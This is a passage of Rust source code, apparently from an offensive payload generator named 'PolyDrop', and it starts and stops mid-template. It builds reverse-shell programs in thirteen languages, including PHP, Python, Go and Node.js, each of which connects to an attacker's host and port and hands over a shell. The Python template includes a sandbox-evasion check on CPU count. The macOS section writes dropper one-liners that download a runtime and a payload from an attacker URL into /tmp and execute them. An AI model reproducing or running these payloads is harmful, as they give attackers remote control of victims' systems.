{{\n\t\t\t$exit = true;\n\t\t\techo \"DAEMONIZE: Child process forked off successfully, parent process will now exit...\\n\";\n\t\t}} else if (posix_setsid() < 0) {{\n\t\t\techo \"DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\\n\";\n\t\t}} else {{\n\t\t\techo \"DAEMONIZE: Completed successfully!\\n\";\n\t\t}}\n\t\treturn $exit;\n\t}}\n\tprivate function settings() {{\n\t\t@error_reporting(0);\n\t\t@set_time_limit(0);\n\t\t@umask(0);\n\t}}\n\tprivate function dump($data) {{\n\t\tif ($this->sdump) {{\n\t\t\t$data = str_replace('<', '<', $data);\n\t\t\t$data = str_replace('>', '>', $data);\n\t\t\techo $data;\n\t\t}}\n\t}}\n\tprivate function read($stream, $name, $buffer) {{\n\t\tif (($data = @fread($stream, $buffer)) === false) {{\n\t\t\t$this->error = true;\n\t\t\techo \"STRM_ERROR: Cannot read from {{$name}}, script will now exit...\\n\";\n\t\t}}\n\t\treturn $data;\n\t}}\n\tprivate function write($stream, $name, $data) {{\n\t\tif (($bytes = @fwrite($stream, $data)) === false) {{\n\t\t\t$this->error = true;\n\t\t\techo \"STRM_ERROR: Cannot write to {{$name}}, script will now exit...\\n\";\n\t\t}}\n\t\treturn $bytes;\n\t}}\n\tprivate function rw($input, $output, $iname, $oname) {{\n\t\twhile (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {{\n\t\t\tif ($this->os === 'WINDOWS' && $oname === 'STDIN') {{ $this->clen += strlen($data); }}\n\t\t\t$this->dump($data);\n\t\t}}\n\t}}\n\tprivate function brw($input, $output, $iname, $oname) {{\n\t\t$size = fstat($input)['size'];\n\t\tif ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {{\n\t\t\twhile ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {{\n\t\t\t\t$this->clen -= $bytes;\n\t\t\t\t$size -= $bytes;\n\t\t\t}}\n\t\t}}\n\t\twhile ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {{\n\t\t\t$size -= $bytes;\n\t\t\t$this->dump($data);\n\t\t}}\n\t}}\n\tpublic function run() {{\n\t\tif ($this->detect() && !$this->daemonize()) {{\n\t\t\t$this->settings();\n\t\t\t$socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);\n\t\t\t@fwrite($socket, \"PolyDrop Connection from PHP Payload\n\");\n\t\t\tif (!$socket) {{\n\t\t\t\techo \"SOC_ERROR: {{$errno}}: {{$errstr}}\\n\";\n\t\t\t}} else {{\n\t\t\t\tstream_set_blocking($socket, false);\n\t\t\t\t$process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);\n\t\t\t\tif (!$process) {{\n\t\t\t\t\techo \"PROC_ERROR: Cannot start the shell\\n\";\n\t\t\t\t}} else {{\n\t\t\t\t\tforeach ($pipes as $pipe) {{\n\t\t\t\t\t\tstream_set_blocking($pipe, false);\n\t\t\t\t\t}}\n\t\t\t\t\t$status = proc_get_status($process);\n\t\t\t\t\t@fwrite($socket, \"SOCKET: Shell has connected! PID: {{$status['pid']}}\\n\");\n\t\t\t\t\tdo {{\n\t\t\t\t\t\t$status = proc_get_status($process);\n\t\t\t\t\t\tif (feof($socket)) {{\n\t\t\t\t\t\t\techo \"SOC_ERROR: Shell connection has been terminated\\n\"; break;\n\t\t\t\t\t\t}} else if (feof($pipes[1]) || !$status['running']) {{\n\t\t\t\t\t\t\techo \"PROC_ERROR: Shell process has been terminated\\n\";break;\n\t\t\t\t\t\t}}\n\t\t\t\t\t\t$streams = array(\n\t\t\t\t\t\t\t'read' => array($socket, $pipes[1], $pipes[2]),\n\t\t\t\t\t\t\t'write' => null,\n\t\t\t\t\t\t\t'except' => null\n\t\t\t\t\t\t);\n\t\t\t\t\t\t$num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0);\n\t\t\t\t\t\tif ($num_changed_streams === false) {{\n\t\t\t\t\t\t\techo \"STRM_ERROR: stream_select() failed\\n\"; break;\n\t\t\t\t\t\t}} else if ($num_changed_streams > 0) {{\n\t\t\t\t\t\t\tif ($this->os === 'LINUX') {{\n\t\t\t\t\t\t\t\tif (in_array($socket , $streams['read'])) {{ $this->rw($socket , $pipes[0], 'SOCKET', 'STDIN' ); }}\n\t\t\t\t\t\t\t\tif (in_array($pipes[2], $streams['read'])) {{ $this->rw($pipes[2], $socket , 'STDERR', 'SOCKET'); }}\n\t\t\t\t\t\t\t\tif (in_array($pipes[1], $streams['read'])) {{ $this->rw($pipes[1], $socket , 'STDOUT', 'SOCKET'); }}\n\t\t\t\t\t\t\t}} else if ($this->os === 'WINDOWS') {{\n\t\t\t\t\t\t\t\tif (in_array($socket, $streams['read'])/*------*/) {{ $this->rw ($socket , $pipes[0], 'SOCKET', 'STDIN' ); }}\n\t\t\t\t\t\t\t\tif (($fstat = fstat($pipes[2])) && $fstat['size']) {{ $this->brw($pipes[2], $socket , 'STDERR', 'SOCKET'); }}\n\t\t\t\t\t\t\t\tif (($fstat = fstat($pipes[1])) && $fstat['size']) {{ $this->brw($pipes[1], $socket , 'STDOUT', 'SOCKET'); }}\n\t\t\t\t\t\t\t}}\n\t\t\t\t\t\t}}\n\t\t\t\t\t}} while (!$this->error);\n\t\t\t\t\tforeach ($pipes as $pipe) {{\n\t\t\t\t\t\tfclose($pipe);\n\t\t\t\t\t}}\n\t\t\t\t\tproc_close($process);\n\t\t\t\t}}\n\t\t\t\tfclose($socket);\n\t\t\t}}\n\t\t}}\n\t}}\n}}\necho '
';\n$sh = new Shell('{}', {});\n$sh->run();\nunset($sh);\necho '
';\n?>", &lhostarg, &lportarg); 315 | let crystal_revshell = format!("require \"process\"\nrequire \"socket\"\n\nc = Socket.tcp(Socket::Family::INET)\nc.connect(\"{}\", {})\nc.puts(\"PolyDrop Connection from Crystal Payload\")\nloop do\n\tm, l = c.receive\n\tp = Process.new(m.rstrip(\"\\n\"), output:Process::Redirect::Pipe, shell:true)\n\tc << p.output.gets_to_end\nend", &lhostarg, &lportarg); 316 | let julia_revshell = format!("using Sockets\n\nc = connect(\"{}\", {});\nmessage = \"PolyDrop Connection from Julia Payload\"\nmessage_bytes = string(message) |> x -> convert(Vector{{UInt8}}, x)\nwrite(c, message_bytes)\nwhile true\n\tcmd = readline(c, keep=true);\n\ttry\n\t\tprintln(c, read(`sh -c $cmd`, String));\n\tcatch e\n\t\tprint(c, e)\n\tend\nend", &lhostarg, &lportarg); 317 | let go_revshell = format!("package main;import\"os/exec\";import \"net\";import \"fmt\";func main(){{c,_:=net.Dial(\"tcp\",\"{}:{}\");message := \"PolyDrop Connection from Golang Payload\\n\";_, err := fmt.Fprintf(c, message);if err != nil {{fmt.Printf(\"Error sending message: %v\\n\", err);return}};cmd:=exec.Command(\"sh\");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}}", &lhostarg, &lportarg); 318 | let dart_revshell = format!("import 'dart:io';\nimport 'dart:convert';\n\nmain() {{\n\tSocket.connect(\"{}\", {}).then((socket) {{\n\t\tvar message = \"PolyDrop Connection from Dart Payload\n\";var messageBytes = utf8.encode(message);socket.add(messageBytes);socket.listen((data) {{\n\t\t\tProcess.start('sh', []).then((Process process) {{\n\t\t\t\tprocess.stdin.writeln(new String.fromCharCodes(data).trim());\n\t\t\t\tprocess.stdout\n\t\t\t\t\t.transform(utf8.decoder)\n\t\t\t\t\t.listen((output) {{ socket.write(output); }});\n\t\t\t}});\n\t\t}},\n\t\tonDone: () {{\n\t\t\tsocket.destroy();\n\t\t}});\n\t}});\n}}", &lhostarg, &lportarg); 319 | let d_revshell = format!("import std.process, std.socket, std.conv;\n\nvoid main()\n{{\n\tSocket sock = new TcpSocket(new InternetAddress(\"{}\", {}));\n\tstring message = \"PolyDrop Connection from D-Lang Payload\n\";auto messageBytes = message.toUTF8();sock.send(messageBytes);\n\twhile (true)\n\t{{\n\t\tchar[] line;\n\t\tchar[1] buf;\n\t\twhile(sock.receive(buf))\n\t\t{{\n\t\t\tline ~= buf;\n\t\t\tif (buf[0] == '\\n')\n\t\t\t\tbreak;\n\t\t}}\n\t\tif (!line.length)\n\t\t\tbreak;\n\n\t\tauto os = executeShell(line);\n\t\tsock.send(os.output);\n\t}}\n}}", &lhostarg, &lportarg); 320 | let v_revshell = format!("module main\n\nimport net\nimport io\nimport os\n\nfn exec(path string) string {{\n\tmut out := ''\n\tmut line := ''\n\tmut cmd := os.Command{{\n\t\tpath: path\n\t}}\n\tcmd.start() or {{ panic(err) }}\n\n\tfor {{\n\t\tline = cmd.read_line()\n\t\tout += line + '\\n'\n\t\tif cmd.eof {{\n\t\t\treturn out\n\t\t}}\n\t}}\n\treturn out\n}}\n\nfn main() {{\n\tmut conn := net.dial_tcp('{}:{}')!\n\tmessage := \"PolyDrop Connection from V-Lang Payload\\n\";message_bytes := message.bytes();conn.write(message_bytes)!\n\tmut reader := io.new_buffered_reader(reader: conn)\n\tfor {{\n\t\tresult := reader.read_line() or {{ return }}\n\t\tconn.write_string(exec(result) + '\n') or {{ return }}\n\t}}\n}}", &lhostarg, &lportarg); 321 | let node_revshell = format!("(function(){{\n\tvar net = require(\"net\"),\n\t\tcp = require(\"child_process\"),\n\t\tsh = cp.spawn(\"sh\", []);\n\tvar client = new net.Socket();\n\tclient.connect({}, \"{}\", function(){{\n\t\tconst message = \"PolyDrop Connection from Node.js Payload\\n\";client.write(message);\n\t\tclient.pipe(sh.stdin);\n\t\tsh.stdout.pipe(client);\n\t\tsh.stderr.pipe(client);\n\t}});\n\treturn /a/;\n}})();", &lportarg, &lhostarg); 322 | let bun_revshell = format!("const net = require('net');\nconst {{ exec }} = require('child_process');\n\nconst IP = '{}';\nconst PORT = {};\n\nconst client = new net.Socket();\n\nclient.connect(PORT, IP, () => {{\n\tconsole.log('Connected to server');\n\tclient.write('PolyDrop Connection from Bun Payload\\n');\n}});\n\nclient.on('data', (data) => {{\n\texec(data.toString(), (error, stdout, stderr) => {{\n\t\tif (error) {{\n\t\t\tclient.write(`Error: ${{error.message}}\n`);\n\t\t\treturn;\n\t\t}}\n\t\tif (stderr) {{\n\t\t\tclient.write(`Stderr: ${{stderr}}\n`);\n\t\t\treturn;\n\t\t}}\n\t\tclient.write(stdout);\n\t}});\n}});\n\nclient.on('close', () => {{\n\tconsole.log('Connection closed');\n\tprocess.exit(0);\n}});", &lhostarg, &lportarg); 323 | let python_revshell = format!("import os\nimport socket\nimport subprocess\n\nif os.cpu_count() <= 2:\n\tquit()\n\nHOST = '{}'\nPORT = {}\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect((HOST, PORT))\nmessage = \"PolyDrop Connection from Python Payload\\n\";s.sendall(message.encode())\n\nwhile 1:\n\ttry:\n\t\ts.send(str.encode(os.getcwd() + \"> \"))\n\t\tdata = s.recv(1024).decode(\"UTF-8\")\n\t\tdata = data.strip('\\n')\n\t\tif data == \"quit\": \n\t\t\tbreak\n\t\tif data[:2] == \"cd\":\n\t\t\tos.chdir(data[3:])\n\t\tif len(data) > 0:\n\t\t\tproc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)\n\t\t\tstdout_value = proc.stdout.read() + proc.stderr.read()\n\t\t\toutput_str = str(stdout_value, \"UTF-8\")\n\t\t\ts.send(str.encode(\"\\n\" + output_str))\n\texcept Exception as e:\n\t\tcontinue\n\ns.close()", &lhostarg, &lportarg); 324 | let fsharp_revshell = format!("open System\nopen System.Net\nopen System.Diagnostics\n\nlet rec asyncStdin (stream: System.Net.Sockets.NetworkStream, cmd: Process) =\n\tasync {{\n\t\tlet input = stream.ReadByte() |> Char.ConvertFromUtf32\n\t\tcmd.StandardInput.Write(input)\n\n\t\treturn! asyncStdin (stream, cmd)\n\t}}\n\nlet rec asyncStdout (stream: System.Net.Sockets.NetworkStream, cmd: Process) =\n\tasync {{\n\t\tlet output = cmd.StandardOutput.Read() |> Char.ConvertFromUtf32\n\t\tlet outbyte = System.Text.Encoding.UTF32.GetBytes(output)\n\t\tstream.Write(outbyte, 0, outbyte.Length)\n\n\t\treturn! asyncStdout (stream, cmd)\n\t}}\n\nlet main =\n\tlet client = new System.Net.Sockets.TcpClient()\n\n\tclient.Connect(\"{}\", {})\n\n\tlet stream = client.GetStream()\n\tlet message = \"PolyDrop Connection from F# Payload\\n\";let messageBytes = Encoding.UTF8.GetBytes(message);stream.Write(messageBytes, 0, messageBytes.Length)\n\tlet procStartInfo = ProcessStartInfo (\n\t\tFileName = \"/bin/sh\",\n\t\tRedirectStandardInput = true,\n\t\tRedirectStandardOutput = true,\n\t\tRedirectStandardError = true,\n\t\tUseShellExecute = false,\n\t\tCreateNoWindow = true\n\t)\n\n\tlet cmd = new Process(StartInfo = procStartInfo)\n\tlet err = cmd.Start()\n\n\tasyncStdin (stream, cmd) |> Async.Start\n\tasyncStdout (stream, cmd) |> Async.RunSynchronously\n\n\tstream.Flush()\n\n\tSystem.Threading.Thread.Sleep(TimeSpan.FromSeconds(30.0))\n\nmain", &lhostarg, &lportarg); 325 | let deno_revshell = format!("const IP = \"{}\";\nconst PORT = {};\n\nasync function connect(ip: string, port: number) {{\n\tconst conn = await Deno.connect({{ hostname: ip, port: port }});\n\tconsole.log(`Connected to ${{ip}}:${{port}}`);\n\n\tawait conn.write(new TextEncoder().encode(\"PolyDrop Connection from Deno Payload\\n\"));\n\n\tconst buffer = new Uint8Array(1024);\n\twhile (true) {{\n\t\tconst n = await conn.read(buffer);\n\t\tif (n === null) break;\n\t\tconst command = new TextDecoder().decode(buffer.subarray(0, n)).trim();\n\t\tconsole.log(`Received: ${{command}}`);\n\n\t\ttry {{\n\t\t\tconst process = Deno.run({{\n\t\t\t\tcmd: [\"sh\", \"-i\", command],\n\t\t\t\tstdout: \"piped\",\n\t\t\t\tstderr: \"piped\",\n\t\t\t}});\n\n\t\t\tconst output = await process.output();\n\t\t\tconst error = await process.stderrOutput();\n\n\t\t\tconst combinedOutput = new Uint8Array([...output, ...error]);\n\t\t\tawait conn.write(combinedOutput);\n\n\t\t\tprocess.close();\n\t\t}} catch (err) {{\n\t\t\tawait conn.write(new TextEncoder().encode(`Error: ${{err.message}}\n`));\n\t\t}}\n\t}}\n\n\tconn.close();\n}}\n\nconnect(IP, PORT);", &lhostarg, &lportarg); 326 | let reverse_shell = payloads::Codex::new( 327 | &tcl_revshell, 328 | &php_revshell, 329 | &crystal_revshell, 330 | &julia_revshell, 331 | &go_revshell, 332 | &dart_revshell, 333 | &d_revshell, 334 | &v_revshell, 335 | &node_revshell, 336 | &bun_revshell, 337 | &python_revshell, 338 | &fsharp_revshell, 339 | &deno_revshell, 340 | ); 341 | let p_res = if language == "tcl" { 342 | nix_payloads.tcl_payload() 343 | } else if language == "php" { 344 | nix_payloads.php_payload() 345 | } else if language == "crystal" { 346 | nix_payloads.crystal_payload() 347 | } else if language == "julia" { 348 | nix_payloads.julia_payload() 349 | } else if language == "golang" { 350 | nix_payloads.go_payload() 351 | } else if language == "dart" { 352 | nix_payloads.dart_payload() 353 | } else if language == "dlang" { 354 | nix_payloads.d_payload() 355 | } else if language == "vlang" { 356 | nix_payloads.v_payload() 357 | } else if language == "nodejs" { 358 | nix_payloads.node_payload() 359 | } else if language == "bun" { 360 | nix_payloads.bun_payload() 361 | } else if language == "python" { 362 | nix_payloads.python_payload() 363 | } else if language == "fsharp" { 364 | nix_payloads.fsharp_payload() 365 | } else if language == "deno" { 366 | nix_payloads.deno_payload() 367 | } else if language == "empty" { 368 | "Building payload for every language...".to_string() 369 | } else { 370 | arguments::getargs() 371 | } 372 | .to_string(); 373 | 374 | let p_shell = if language == "tcl" { 375 | reverse_shell.tcl_revshell() 376 | } else if language == "php" { 377 | reverse_shell.php_revshell() 378 | } else if language == "crystal" { 379 | reverse_shell.crystal_revshell() 380 | } else if language == "julia" { 381 | reverse_shell.julia_revshell() 382 | } else if language == "golang" { 383 | reverse_shell.go_revshell() 384 | } else if language == "dart" { 385 | reverse_shell.dart_revshell() 386 | } else if language == "dlang" { 387 | reverse_shell.d_revshell() 388 | } else if language == "vlang" { 389 | reverse_shell.v_revshell() 390 | } else if language == "nodejs" { 391 | reverse_shell.node_revshell() 392 | } else if language == "bun" { 393 | reverse_shell.bun_revshell() 394 | } else if language == "python" { 395 | reverse_shell.python_revshell() 396 | } else if language == "fsharp" { 397 | reverse_shell.f_revshell() 398 | } else if language == "deno" { 399 | reverse_shell.deno_revshell() 400 | } else if language == "empty" { 401 | "Building payload for every language...".to_string() 402 | } else { 403 | arguments::getargs() 404 | } 405 | .to_string(); 406 | 407 | let p_ext = if language == "tcl" { 408 | ".tcl".to_string() 409 | } else if language == "php" { 410 | ".php".to_string() 411 | } else if language == "crystal" { 412 | ".cr".to_string() 413 | } else if language == "julia" { 414 | ".jl".to_string() 415 | } else if language == "golang" { 416 | ".go".to_string() 417 | } else if language == "dart" { 418 | ".dart".to_string() 419 | } else if language == "dlang" { 420 | ".d".to_string() 421 | } else if language == "vlang" { 422 | ".v".to_string() 423 | } else if language == "nodejs" { 424 | ".js".to_string() 425 | } else if language == "bun" { 426 | ".tsx".to_string() 427 | } else if language == "python" { 428 | ".py".to_string() 429 | } else if language == "fsharp" { 430 | ".fsx".to_string() 431 | } else if language == "deno" { 432 | ".ts".to_string() 433 | } else if language == "empty" { 434 | "Building payload for every language...".to_string() 435 | } else { 436 | arguments::getargs() 437 | } 438 | .to_string(); 439 | 440 | let ext = if payload == "pwsh" || payload == "PowerShell" || payload == "powershell" { 441 | ".ps1" 442 | } else { 443 | ".sh" 444 | } 445 | .to_string(); 446 | let outfile = output.to_string() + &ext; 447 | let revfile = output.to_string() + &p_ext; 448 | if allarg == "true" { 449 | for payload in [ 450 | &nix_payloads.tcl_payload(), 451 | &nix_payloads.php_payload(), 452 | &nix_payloads.crystal_payload(), 453 | &nix_payloads.julia_payload(), 454 | &nix_payloads.go_payload(), 455 | &nix_payloads.dart_payload(), 456 | &nix_payloads.d_payload(), 457 | &nix_payloads.v_payload(), 458 | &nix_payloads.node_payload(), 459 | &nix_payloads.bun_payload(), 460 | &nix_payloads.python_payload(), 461 | &nix_payloads.fsharp_payload(), 462 | &nix_payloads.deno_payload(), 463 | ] 464 | .iter() 465 | { 466 | //println!("{}", payload); 467 | // Open a file with append option 468 | let mut data_file = OpenOptions::new() 469 | .create(true) 470 | .append(true) 471 | .open(&outfile) 472 | .expect("cannot open file"); 473 | 474 | // Write to a file 475 | data_file 476 | .write_all(payload.as_bytes()) 477 | .expect("write failed"); 478 | } 479 | let source_array = [ 480 | &reverse_shell.tcl_revshell(), 481 | &reverse_shell.php_revshell(), 482 | &reverse_shell.crystal_revshell(), 483 | &reverse_shell.julia_revshell(), 484 | &reverse_shell.go_revshell(), 485 | &reverse_shell.dart_revshell(), 486 | &reverse_shell.d_revshell(), 487 | &reverse_shell.v_revshell(), 488 | &reverse_shell.node_revshell(), 489 | &reverse_shell.bun_revshell(), 490 | &reverse_shell.python_revshell(), 491 | &reverse_shell.f_revshell(), 492 | &reverse_shell.deno_revshell(), 493 | ]; 494 | let ext_array = [ 495 | ".tcl".to_string(), 496 | ".php".to_string(), 497 | ".cr".to_string(), 498 | ".jl".to_string(), 499 | ".go".to_string(), 500 | ".dart".to_string(), 501 | ".d".to_string(), 502 | ".v".to_string(), 503 | ".js".to_string(), 504 | ".tsx".to_string(), 505 | ".py".to_string(), 506 | ".fsx".to_string(), 507 | ".ts".to_string(), 508 | ]; 509 | for (revcode, revext) in source_array.iter().zip(ext_array.iter()) { 510 | let payloadfile = output.to_string() + &revext; 511 | let mut revshell_source = 512 | std::fs::File::create(payloadfile).expect("create failed"); 513 | revshell_source 514 | .write_all(revcode.as_bytes()) 515 | .expect("write failed"); 516 | } 517 | } else { 518 | let mut payload_main = std::fs::File::create(outfile).expect("create failed"); 519 | payload_main 520 | .write_all(p_res.as_bytes()) 521 | .expect("write failed"); 522 | let mut revshell_source = std::fs::File::create(revfile).expect("create failed"); 523 | revshell_source 524 | .write_all(p_shell.as_bytes()) 525 | .expect("write failed"); 526 | } 527 | } else if platform == "macos" { 528 | let tcl_payload = format!("wget {} -O /tmp/tclkit8;chmod +x /tmp/tclkit8;wget {}/{}.tcl -O /tmp/{}.tcl;/tmp/tclkit8 /tmp/{}.tcl", &get_lang_dl("tcl", platform).unwrap().to_string(), &urlarg, &output, &output, &output); 529 | let php_payload = format!("wget {} -O /tmp/php8.tar.gz;tar xzvf /tmp/php8.tar.gz -C /tmp;chmod +x /tmp/php;wget {}/{}.php -O /tmp/{}.php;/tmp/php /tmp/{}.php", &get_lang_dl("php", platform).unwrap().to_string(), &urlarg, &output, &output, &output); 530 | let crystal_payload = format!("wget {} -O /tmp/crystal.tar.gz;tar xzvf /tmp/crystal.tar.gz -C /tmp;chmod +x /tmp/crystal-1.12.1-1/bin/crystal;wget {}/{}.cr -O /tmp/{}.cr;/tmp/crystal-1.12.1-1/bin/crystal run /tmp/{}.cr", &get_lang_dl("crystal", platform).unwrap().to_string(), &urlarg, &output, &output, &output); 531 | let julia_payload = format!("wget {} -O /tmp/julia.tar.gz;tar xzvf /tmp/julia.tar.gz -C /tmp;chmod +x /tmp/julia-1.10.3/bin/julia;wget {}/{}.jl -O /tmp/{}.jl;/tmp/julia-1.10.3/bin/julia /tmp/{}.jl", &get_lang_dl("julia", platform).unwrap().to_string(), &urlarg, &output, &output, &output); 532 | let go_payload = format!("wget {} -O /tmp/go.tar.gz;tar xzvf /tmp/go.tar.gz -C /tmp;chmod +x /tmp/go/bin/go;wget {}/{}.go -O /tmp/{}.go;/tmp/go/bin/go run /tmp/{}.go", &get_lang_dl("golang", platform).unwrap().to_string(), &urlarg, &output, &output, &output); 533 | let dart_payload = format!("wget {} -O /tmp/dart.zip;unzip /tmp/dart.zip -d /tmp/dart-sdk/;chmod +x /tmp/dart-sdk/bin/dart;wget {}/{}.dart -O /tmp/{}.dart;/tmp/dart-sdk/bin/dart /tmp/{}.dart", &get_lang_dl("dart", platform).unwrap().to_string(), &urlarg, &output, &output, &output); 534 | let d_payload = format!("wget {} -O /tmp/dmd.zip;unzip /tmp/dmd.zip -d /tmp/dmd2/;chmod +x /tmp/dmd2/osx/bin/dmd;wget {}/{}.d -O /tmp/{}.d;/tmp/dmd2/osx/bin/dmd /tmp/{}.d", &get_lang_dl("dlang", platform).unwrap().to_string(), &urlarg, &output, &output, &output); 535 | let v_payload = format!("wget {} -O /tmp/v_macos_x86_64.zip;unzip /tmp/v_macos_x86_64.zip -d /tmp/v/;chmod +x /tmp/v/v;wget {}/{}.v -O /tmp/{}.v;/tmp/v/v /tmp/{}.v", &get_lang_dl("vlang", platform).unwrap().to_string(), &urlarg, &output, &output, &output); 536 | let node_payload = format!("wget {} -O /tmp/node-v20.12.2-darwin-x64.tar.gz;tar xzvf /tmp/node-v20.12.2-darwin-x64.tar.gz -C /tmp;chmod +x /tmp/node-v20.12.2-darwin-x64/bin/node;wget {}/{}.js -O /tmp/{}.js;/tmp/node-v20.12.2-darwin-x64/bin/node /tmp/{}.js", &get_lang_dl("nodejs", platform).unwrap().to_string(), &urlarg, &output, &output, &output); 537 | let bun_payload = format!("wget {} -O /tmp/bun.zip;unzip /tmp/bun.zip -d /tmp/bun-linux-x64/;chmod +x /tmp/bun-linux-x64/bun;wget {}/{}.tsx -O /tmp/{}.tsx;/tmp/bun-linux-x64/bun /tmp/{}.tsx", &get_lang_dl("bun", platform).unwrap().to_string(), &urlarg, &output, &output, &output); 538 | let python_payload = format!( 539 | "wget {}/{}.py -O /tmp/{}.py;python3 /tmp/{}.py", 540 | &urlarg, &output, &output, &output 541 | ); 542 | let fsharp_payload = format!("wget {} -O /tmp/dotnet-sdk-8.0.204-osx-x64.tar.gz;tar xzvf /tmp/dotnet-sdk-8.0.204-osx-x64.tar.gz -C /tmp;chmod +x /tmp/dotnet/dotnet;wget {}/{}.fsx -O /tmp/{}.fsx;/tmp/dotnet fsi /tmp/{}.fsx", &get_lang_dl("fsharp", platform).unwrap().to_string(), &urlarg, &output, &output, &output); 543 | let deno_payload = format!("wget {} -O /tmp/deno-x86_64-apple-darwin.zip;unzip /tmp/deno-x86_64-apple-darwin.zip -d /tmp/deno-x86_64-apple-darwin/;chmod +x /tmp/deno-x86_64-apple-darwin/deno;wget {}/{}.tsx -O /tmp/{}.tsx;/tmp/deno-x86_64-apple-darwin/deno run --allow-net --allow-run /tmp/{}.ts", &get_lang_dl("deno", platform).unwrap().to_string(), &urlarg, &output, &output, &output); 544 | let mac_payloads = payloads::Payloads::new( 545 | &tcl_payload, 546 | &php_payload, 547 | &crystal_payload, 548 | &julia_payload, 549 | &go_payload, 550 | &dart_payload, 551 | &d_payload, 552 | &v_payload, 553 | &node_payload, 554 | &bun_payload, 555 | &python_payload, 556 | &fsharp_payload, 557 | &deno_payload, 558 | ); 559 | let tcl_revshell = format!("set chan [socket {} {}]\nwhile {{1}} {{\n\tflush $chan\n\tputs $chan [exec sh -c [gets $chan]]\n\tflush $chan\n}}", &lhostarg, &lportarg); 560 | let php_revshell = format!(" array('pipe', 'r'),\n\t\t1 => array('pipe', 'w'),\n\t\t2 => array('pipe', 'w')\n\t);\n\tprivate $buffer = 1024;\n\tprivate $clen = 0;\n\tprivate $error = false;\n\tprivate $sdump = true;\n\tpublic function __construct($addr, $port) {{\n\t\t$this->addr = $addr;\n\t\t$this->port = $port;\n\t}}\n\tprivate function detect() {{\n\t\t$detected = true;\n\t\t$os = PHP_OS;\n\t\tif (stripos($os, 'LINUX') !== false || stripos($os, 'DARWIN') !== false) {{\n\t\t\t$this->os= 'LINUX';\n\t\t\t$this->shell = '/bin/sh';\n\t\t}} else if (stripos($os, 'WINDOWS') !== false || stripos($os, 'WINNT') !== false || stripos($os, 'WIN32') !== false) {{\n\t\t\t$this->os= 'WINDOWS';\n\t\t\t$this->shell = 'cmd.exe';\n\t\t}} else {{\n\t\t\t$detected = false;\n\t\t\techo \"SYS_ERROR: Underlying operating system is not supported, script will now exit...\\n\";\n\t\t}}\n\t\treturn $detected;\n\t}}\n\tprivate function daemonize() {{\n\t\t$exit = false;\n\t\tif (!function_exists('pcntl_fork')) {{\n\t\t\techo \"DAEMONIZE: pcntl_fork() does not exists, moving on...\\n\";\n\t\t}} else if (($pid = @pcntl_fork()) < 0) {{\n\t\t\techo \"DAEMONIZE: Cannot fork off the parent process, moving on...\\n\";\n\t\t}} else if ($pid > 0) {{\n\t\t\t$exit = true;\n\t\t\techo \"DAEMONIZE: Child process forked off successfully, parent process will now exit...\\n\";\n\t\t}} else if (posix_setsid() < 0) {{\n\t\t\techo \"DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\\n\";\n\t\t}} else {{\n\t\t\techo \"DAEMONIZE: Completed successfully!\\n\";\n\t\t}}\n\t\treturn $exit;\n\t}}\n\tprivate function settings() {{\n\t\t@error_reporting(0);\n\t\t@set_time_limit(0);\n\t\t@umask(0);\n\t}}\n\tprivate function dump($data) {{\n\t\tif ($this->sdump) {{\n\t\t\t$data = str_replace('<', '<', $data);\n\t\t\t$data = str_replace('>', '>', $data);\n\t\t\techo $data;\n\t\t}}\n\t}}\n\tprivate function read($stream, $name, $buffer) {{\n\t\tif (($data = @fread($stream, $buffer)) === false) {{\n\t\t\t$this->error = true;\n\t\t\techo \"STRM_ERROR: Cannot read from {{$name}}, script will now exit...\\n\";\n\t\t}}\n\t\treturn $data;\n\t}}\n\tprivate function write($stream, $name, $data) {{\n\t\tif (($bytes = @fwrite($stream, $data)) === false) {{\n\t\t\t$this->error = true;\n\t\t\techo \"STRM_ERROR: Cannot write to {{$name}}, script will now exit...\\n\";\n\t\t}}\n\t\treturn $bytes;\n\t}}\n\tprivate function rw($input, $output, $iname, $oname) {{\n\t\twhile (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {{\n\t\t\tif ($this->os === 'WINDOWS' && $oname === 'STDIN') {{ $this->clen += strlen($data); }}\n\t\t\t$this->dump($data);\n\t\t}}\n\t}}\n\tprivate function brw($input, $output, $iname, $oname) {{\n\t\t$size = fstat($input)['size'];\n\t\tif ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {{\n\t\t\twhile ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {{\n\t\t\t\t$this->clen -= $bytes;\n\t\t\t\t$size -= $bytes;\n\t\t\t}}\n\t\t}}\n\t\twhile ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {{\n\t\t\t$size -= $bytes;\n\t\t\t$this->dump($data);\n\t\t}}\n\t}}\n\tpublic function run() {{\n\t\tif ($this->detect() && !$this->daemonize()) {{\n\t\t\t$this->settings();\n\t\t\t$socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);\n\t\t\t@fwrite($socket, \"PolyDrop Connection from PHP Payload\n\");\n\t\t\tif (!$socket) {{\n\t\t\t\techo \"SOC_ERROR: {{$errno}}: {{$errstr}}\\n\";\n\t\t\t}} else {{\n\t\t\t\tstream_set_blocking($socket, false);\n\t\t\t\t$process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);\n\t\t\t\tif (!$process) {{\n\t\t\t\t\techo \"PROC_ERROR: Cannot start the shell\\n\";\n\t\t\t\t}} else {{\n\t\t\t\t\tforeach ($pipes as $pipe) {{\n\t\t\t\t\t\tstream_set_blocking($pipe, 